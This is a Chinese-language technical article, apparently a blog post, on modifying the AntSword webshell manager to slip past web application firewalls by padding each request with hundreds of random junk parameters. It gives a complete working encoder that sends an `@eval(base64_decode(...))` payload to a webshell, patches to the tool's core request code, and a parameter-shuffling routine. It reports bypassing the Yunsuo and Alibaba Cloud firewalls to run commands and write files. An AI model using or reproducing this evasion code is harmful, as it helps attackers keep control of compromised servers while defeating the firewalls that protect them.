蚁剑改造计划之增加垃圾数据
字数 1143 2025-08-25 22:58:29
蚁剑改造计划之增加垃圾数据绕过WAF技术详解
前言
本文详细讲解如何通过增加垃圾数据来绕过WAF(Web应用防火墙)对蚁剑流量的检测,包括编码器实现和核心功能集成两种方法。该技术适用于ASP、PHP、ASPX、JSP等多种WebShell的流量混淆。
技术原理
垃圾数据填充的基本原理
- WAF绕过机制:当WAF遇到大量GET或POST参数时,可能会直接将数据传递给后端处理,从而绕过各种过滤规则
- 与传统SQL注入绕过的区别:传统方法是在payload前加超长字符串,而本方法采用增加大量垃圾键值对的方式
- 优势:比单纯增加字符串长度更有效,已实测可绕过阿里云等主流WAF
编码器实现方法
基础编码器改造
以base64编码器为例,添加垃圾数据生成功能:
'use strict';
module.exports = (pwd, data, ext = {}) => {
// 参数配置
let varname_min = 5; // 变量名最小长度
let varname_max = 15; // 变量名最大长度
let data_min = 200; // 变量值最小长度
let data_max = 250; // 变量值最大长度
let num_min = 100; // 变量最小个数
let num_max = 200; // 变量最大个数
let randomID = `_0x${Math.random().toString(16).substr(2)}`;
// 原始payload base64编码
data[randomID] = Buffer.from(data['_']).toString('base64');
// 生成随机字符串函数
function randomString(length) {
let chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
let result = '';
for (let i = length; i > 0; --i) result += chars[Math.floor(Math.random() * chars.length)];
return result;
}
// 生成指定范围内随机数
function randomInt(min, max) {
return parseInt(Math.random() * (max - min + 1) + min, 10);
}
// 添加垃圾数据
for (let i = 0; i < randomInt(num_min, num_max); i++) {
data[randomString(randomInt(varname_min, varname_max))] = randomString(randomInt(data_min, data_max));
}
// 设置最终payload
data[pwd] = `@eval(base64_decode($_POST[${randomID}]));`;
delete data['_'];
return data;
};
使用方法
- 将上述代码保存为新的编码器文件
- 在蚁剑中选择该编码器连接WebShell
- 观察WAF是否被绕过
核心功能集成
后端修改
-
修改request模块:
- 在
modules/request.js中添加对垃圾数据选项的判断 - 修改发包逻辑,在非chunk和非multipart模式下添加垃圾数据
- 在
-
修改base.js:
- 在请求配置中添加
addMassData选项 - 同时修改普通请求和下载请求的处理逻辑
- 在请求配置中添加
// 在source/core/base.js中添加
send('request', {
// ...其他参数...
addMassData: (this.__opts__['otherConf'] || {})['add-MassData'] === 1,
// ...其他参数...
});
前端修改
- 修改form.js:
- 在
source/modules/shellmanager/list/form.js中添加复选框
- 在
// 添加垃圾数据选项
{
xtype: 'checkbox',
name: 'add-MassData',
boxLabel: '增加垃圾数据',
inputValue: 1,
uncheckedValue: 0
}
- 添加语言文件支持
字典随机排序函数
为确保payload不总是出现在第一个位置,添加字典随机排序功能:
function randomDict(dic){
let tmparray = [];
for(let i in dic){
tmparray.push(i);
}
tmparray = tmparray.sort((a, b) => {
return Math.random() > 0.5 ? -1 : 1;
});
let finaldata = {};
tmparray.forEach(i => {
finaldata[i] = dic[i];
});
return finaldata;
}
实际测试结果
云锁绕过测试
- 默认base64编码器:连接被云锁直接拦截
- 垃圾数据编码器:成功建立连接并执行命令
阿里云绕过测试
- 默认编码器:第一个包有回显,第二个包IP被封
- 垃圾数据编码器:
- 正常执行命令
- 可正常写文件
- 未触发阿里云封IP机制
多语言支持测试
- ASP:测试通过
- ASPX:测试通过
- PHP:测试通过
- JSP:理论上支持,但未实际测试
参数调优建议
-
变量数量:默认100-200个,可根据实际情况调整
- 增加数量可能绕过更多WAF,但会降低响应速度
- 网络状况差时建议减少数量
-
变量长度:
- 变量名长度:5-15字符
- 变量值长度:200-250字符
注意事项
- 重启要求:修改核心功能后必须完全退出并重新启动蚁剑
- 性能影响:大量垃圾数据会增加请求大小,可能影响执行速度
- 免杀要求:WebShell本身需要具备一定免杀能力,该方法仅解决流量检测问题
总结
通过增加随机垃圾数据可以有效绕过主流WAF对蚁剑流量的检测,本文提供了两种实现方式:编码器实现适合快速测试,核心功能集成更适合长期使用。实际应用中可根据目标环境特点调整垃圾数据的数量和长度参数。